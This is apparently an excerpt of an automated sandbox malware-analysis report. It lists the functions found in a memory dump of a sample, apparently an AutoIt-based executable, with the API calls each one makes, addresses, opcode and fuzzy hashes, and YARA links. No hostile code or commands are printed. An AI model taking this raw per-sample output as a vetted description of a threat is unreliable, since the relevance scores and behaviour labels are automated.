Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D647A0
__flush.LIBCMT ref: 00D647C0
__write.LIBCMT ref: 00D647F3
__flsbuf.LIBCMT ref: 00D64821

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: b86a2bf7579e7a03abf9a7817f5cbb14d02551d5049f523e8648adc105e96e29
Instruction ID: e9588ce0e9dd0195ec21623012a1c0105a1b70ba7336dc9142b4136726d509a5
Opcode Fuzzy Hash: b86a2bf7579e7a03abf9a7817f5cbb14d02551d5049f523e8648adc105e96e29
Instruction Fuzzy Hash: 0E41C675B00746DFDB18DFA9C8909AE7BA6EF46360B28853DE855C7640DB70DD408BB0

Function 00D47285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D7EA39
GetOpenFileNameW.COMDLG32(?), ref: 00D7EA83

Part of subcall function 00D44750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D44743,?,?,00D437AE,?), ref: 00D44770

Part of subcall function 00D60791: GetLongPathNameW.KERNEL32(?,?,00007FFF,?,?,?,00D472BD,00000001,00E06290,?,00D43BBB,00E052F8,00E052E0,?,?), ref: 00D607B0

Strings

X, xrefs: 00D7EA51

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 5190213df8bb60b3a0f2e44ee449a00a098afddd480a4485f5e638a15d2fc2fe
Instruction ID: 50716638cb3b61cf67d1df5335fe78f4147436375996fad3b27f69d667342b3a
Opcode Fuzzy Hash: 5190213df8bb60b3a0f2e44ee449a00a098afddd480a4485f5e638a15d2fc2fe
Instruction Fuzzy Hash: 7321C031A002889BCF419F94C845BEE7BF8EF49714F04805AE548AB241DBB499899FB2

Function 00DA8D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00DA8DAC
__fread_nolock.LIBCMT ref: 00DA8DC1

Strings

EA06, xrefs: 00DA8DF3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 87ed7ea9b85f1151f66fb07ef5325c90f24f063065450869cb79a52c510abe04
Instruction ID: 82d6f1df9dd1ef3ae6c5baa9c569d807776eb97199d48e76fa57bd275de73d9a
Opcode Fuzzy Hash: 87ed7ea9b85f1151f66fb07ef5325c90f24f063065450869cb79a52c510abe04
Instruction Fuzzy Hash: 0201F9718042187FDF18CAA8DC16EFE7BF8DB11311F00419AF552D2181E875E6089770

Function 00DA98E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00DA98F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00DA990F

Strings

aut, xrefs: 00DA9909

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 438e9368b16d28879891f21cc79f98250cdbb29b3e5fb2c5627648ae16c359bb
Instruction ID: 28c0d1128cb5ba81e0ec9d07bd68d72624943c4c3c253c66e4688f473872cd97
Opcode Fuzzy Hash: 438e9368b16d28879891f21cc79f98250cdbb29b3e5fb2c5627648ae16c359bb
Instruction Fuzzy Hash: 94D05B7554030E6BDB509B90EC0DFDAB73CD704704F0042B1BB54D1191D97055589BA5

Function 00992DA8 Relevance: 5.2, APIs: 3, Instructions: 720processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 009935D5
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0099361B

Memory Dump Source

Source File: 00000005.00000002.486369482.0000000000991000.00000040.00000020.00020000.00000000.sdmp, Offset: 00991000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_991000_ghxtg8op.jbxd

Similarity

API ID: Process$CreateMemoryRead
String ID:
API String ID: 2726527582-0
Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction ID: 6b99b8c96177a8cd3c26c733b13aacdcc51d4e936474a469f55ad39951414537
Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction Fuzzy Hash: 82620D70A14258DBEB24DFA4C841BDEB376EF58700F1091A9E10DEB390E7799E81CB59

Function 00DBCADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d205ca62c79f8209260e885c3bb693e60dd8c488d91215edd9c4d170ab14c494
Instruction ID: 70c6f3cf963c7eeabfc41cfc05061f1d31421c5e14c2a6bdad285c747df13ae7
Opcode Fuzzy Hash: d205ca62c79f8209260e885c3bb693e60dd8c488d91215edd9c4d170ab14c494
Instruction Fuzzy Hash: ACF12675608301DFCB14DF29C480A6ABBE5FF88314F14896EF89A9B251D730E945CFA2

Function 00D4434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D44370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D44415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D44432

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: d18314135eda73f3c1a8e58272d5adabb510e53ace3219c6d31a6dc4085fc205
Instruction ID: e10861f5de96550c42d6375910ff2492a0f375538a52fd489ecc544f79ddf454
Opcode Fuzzy Hash: d18314135eda73f3c1a8e58272d5adabb510e53ace3219c6d31a6dc4085fc205
Instruction Fuzzy Hash: 49316FB15057018FD721DF65D88479BBBF8FF48708F04092EF59A92251E771A988CBA2

Function 00D6571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00D65733

Part of subcall function 00D6A16B: __NMSG_WRITE.LIBCMT ref: 00D6A192
Part of subcall function 00D6A16B: __NMSG_WRITE.LIBCMT ref: 00D6A19C

__NMSG_WRITE.LIBCMT ref: 00D6573A

Part of subcall function 00D6A1C8: GetModuleFileNameW.KERNEL32(00000000,00E033BA,00000104,?,00000001,00000000), ref: 00D6A25A
Part of subcall function 00D6A1C8: ___crtMessageBoxW.LIBCMT ref: 00D6A308

Part of subcall function 00D6309F: ___crtCorExitProcess.LIBCMT ref: 00D630A5
Part of subcall function 00D6309F: ExitProcess.KERNEL32 ref: 00D630AE

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,?,?,?,00D60DD3,?), ref: 00D6575F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: d28181a7f106ec51f917d952df87015243c653700b95b9114460bee8cadf5997
Instruction ID: 0cf574615b8e94ae8615ae0a094d3fe73f07139849a0354993ee9aa936658a1b
Opcode Fuzzy Hash: d28181a7f106ec51f917d952df87015243c653700b95b9114460bee8cadf5997
Instruction Fuzzy Hash: 2501F131240B02DFD6107B7AFC92A2E738CCB92362F140136F556AA2D6DE709C814A70

Function 00DA98A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00DA98BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00DA9548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00DA98D1
CloseHandle.KERNEL32(00000000), ref: 00DA98D8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 074d2d8c42667c56f5d207dd1473d1c3c36e744ee1a33b6165c261ccd30e8d05
Instruction ID: ff231efca1a958d21d3badff3d358a7c12de85db8562642e3f324b2a536f22a8
Opcode Fuzzy Hash: 074d2d8c42667c56f5d207dd1473d1c3c36e744ee1a33b6165c261ccd30e8d05
Instruction Fuzzy Hash: 01E08632141316B7D7211B64EC09FCA7B1AAB06760F144220FB14A91E087B1251197A8

Function 00D4A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00D7FC01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 267b93036c8f1e705f69591db8bcf7dd507757f3c993bdd4182077b8b7e7a86c
Instruction ID: a50279f865a81f42a86d77d9ece15174a49e9419e69fa0a88080afd14a948be6
Opcode Fuzzy Hash: 267b93036c8f1e705f69591db8bcf7dd507757f3c993bdd4182077b8b7e7a86c
Instruction Fuzzy Hash: 9A224874508201DFDB24DF18C495A6ABBE1FF84314F18896DF89A9B262D731EC45CBA2

Function 00D44C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D44CBA

Strings

EA06, xrefs: 00D7D8CC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: d09c17ef4ed2d36f4849ea13f2be61c4f3fd74992692385f4b66dd0393a095b1
Instruction ID: a1df177486601a2bb95b693f8b68e4b7e59af5cfd302f892985720f3ccfc29f2
Opcode Fuzzy Hash: d09c17ef4ed2d36f4849ea13f2be61c4f3fd74992692385f4b66dd0393a095b1
Instruction Fuzzy Hash: 69412A21E041586BDF219B6498917BF7FA2EF45310F6C4475FCC6AB286D7209DC487B2

Function 00D447D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00D44834

Part of subcall function 00D6336C: __lock.LIBCMT ref: 00D63372
Part of subcall function 00D6336C: DecodePointer.KERNEL32(00000001,?,00D44849,00D97C74), ref: 00D6337E
Part of subcall function 00D6336C: EncodePointer.KERNEL32(?,?,00D44849,00D97C74), ref: 00D63389

Part of subcall function 00D448FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000,00000000,?,0092A2E8,?,00D4485C), ref: 00D44915
Part of subcall function 00D448FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002,?,0092A2E8,?,00D4485C), ref: 00D4492A

Part of subcall function 00D43B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D43B68
Part of subcall function 00D43B3A: IsDebuggerPresent.KERNEL32 ref: 00D43B7A
Part of subcall function 00D43B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,00E052F8,00E052E0,?,?), ref: 00D43BEB
Part of subcall function 00D43B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00D43C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D44874

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 6bb47f08c974be823de5aed410dd24894238f4bfff6955b9b9dcac7d58031aa4
Instruction ID: d2495673c4fee3eb6c607412929b4244694c9ef006468b771009865281bd0dd5
Opcode Fuzzy Hash: 6bb47f08c974be823de5aed410dd24894238f4bfff6955b9b9dcac7d58031aa4
Instruction Fuzzy Hash: F1116A729083069FC700DF2AD845A0EBFE8EF95750F10451EF040A32B1DB719999CFA2

Function 00D45C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00D45CC7
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000), ref: 00D7DD73

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0212d67f203df633530240b2a9acaaa4621a24bdbe6dc89e49ad1444547c34b6
Instruction ID: ff3fda396e386ca2f2accadc07a7e64dd504f98cb00a2f70abcae1eca02942cd
Opcode Fuzzy Hash: 0212d67f203df633530240b2a9acaaa4621a24bdbe6dc89e49ad1444547c34b6
Instruction Fuzzy Hash: A5019270284749BFF3210E25DCCAF763BDCEB01768F148319BAE59A1E1C6B45C488B60

Function 00D60DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D6571C: __FF_MSGBANNER.LIBCMT ref: 00D65733
Part of subcall function 00D6571C: __NMSG_WRITE.LIBCMT ref: 00D6573A
Part of subcall function 00D6571C: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,?,?,?,00D60DD3,?), ref: 00D6575F

std::exception::exception.LIBCMT ref: 00D60DEC
__CxxThrowException@8.LIBCMT ref: 00D60E01

Part of subcall function 00D6859B: RaiseException.KERNEL32(?,?,?,00DF9E78,00000000,?,?,?,?,00D60E06,?,00DF9E78,?,00000001), ref: 00D685F0

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 4bc9db7035cfc049cdaccd3186b962762e802c773c163fcb8d63156f6c57779f
Instruction ID: 396606b42239d2789166c7d7b2d1c2417239b2dc8d291113e51531dace066769
Opcode Fuzzy Hash: 4bc9db7035cfc049cdaccd3186b962762e802c773c163fcb8d63156f6c57779f
Instruction Fuzzy Hash: CBF0A43550021D67CB10FA94EC01AEFBBADDF11311F144566F90896781DF719A8496F1

Function 00D655FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6562C
__lock_file.LIBCMT ref: 00D6564D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 8690af49f1c0677468bf6bcc973b514ba8e52455b2ce04cc20cbd1fd5ef5abb0
Instruction ID: d49a595299a8a6d57e30747d18b294dfcd51c2914f5e44c33f2e9759b29d88ea
Opcode Fuzzy Hash: 8690af49f1c0677468bf6bcc973b514ba8e52455b2ce04cc20cbd1fd5ef5abb0
Instruction Fuzzy Hash: 8F01D071800A08EFCF11AFA8EC025AE7B61EF51361F548255F45417155DB718591EFB1

Function 00D653A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

__lock_file.LIBCMT ref: 00D653EB

Part of subcall function 00D66C11: __lock.LIBCMT ref: 00D66C34

__fclose_nolock.LIBCMT ref: 00D653F6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 8ed865aa769847f07583da04536561cc8df9af6c11a7f4703fec89c407a59996
Instruction ID: 3c0a705661693e0dbf72faf278c52132023e2d58076383d1ab29ff13162a7da9
Opcode Fuzzy Hash: 8ed865aa769847f07583da04536561cc8df9af6c11a7f4703fec89c407a59996
Instruction Fuzzy Hash: 08F09671800A04DBDB10AF69A8017AD76A0AF41774F258309A464AB2C5CFBC9985AF71

Function 00D69E2B Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNELBASE(00000000,00000000,00D69A0E,?,00D69D0B,00000000,00000FA0,00000000,00DFA1A8,00000008,00D69C22,00000000,00000000,?,00D69A7C,0000000D), ref: 00D69E44
InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,00000000,?,00D69D0B,00000000,00000FA0,00000000,00DFA1A8,00000008,00D69C22,00000000,00000000,?,00D69A7C,0000000D), ref: 00D69E4E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID:
API String ID: 4156364057-0
Opcode ID: 0ece6e2031b5e48b03f9a4cd2766ca474b2f29c1f85a56b01f8af18c5a9e1255
Instruction ID: 64d6eb4c3b2eb13a2e3b22381d7c55acec1a1db9ccc8a0241c3e6733d513a911
Opcode Fuzzy Hash: 0ece6e2031b5e48b03f9a4cd2766ca474b2f29c1f85a56b01f8af18c5a9e1255
Instruction Fuzzy Hash: 40D0677205424DBFCF029F94EC048AA7FAAFB48615B448420F91C8A530D772A561AB90

Function 00D4F290 Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe2336d5a1e6424c4957b2f7f02c9087e948e043733db908016bfbbb7b17207
Instruction ID: f9d48dffb3c41de21bf175ee9da731886b68e629d16b2d948792eaa3c8c235d1
Opcode Fuzzy Hash: 5fe2336d5a1e6424c4957b2f7f02c9087e948e043733db908016bfbbb7b17207
Instruction Fuzzy Hash: 84619B7060020A9FCB10EF64C885AABB7F5EF45304F188479E94A972A1DB71ED51CB71

Function 00D51FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
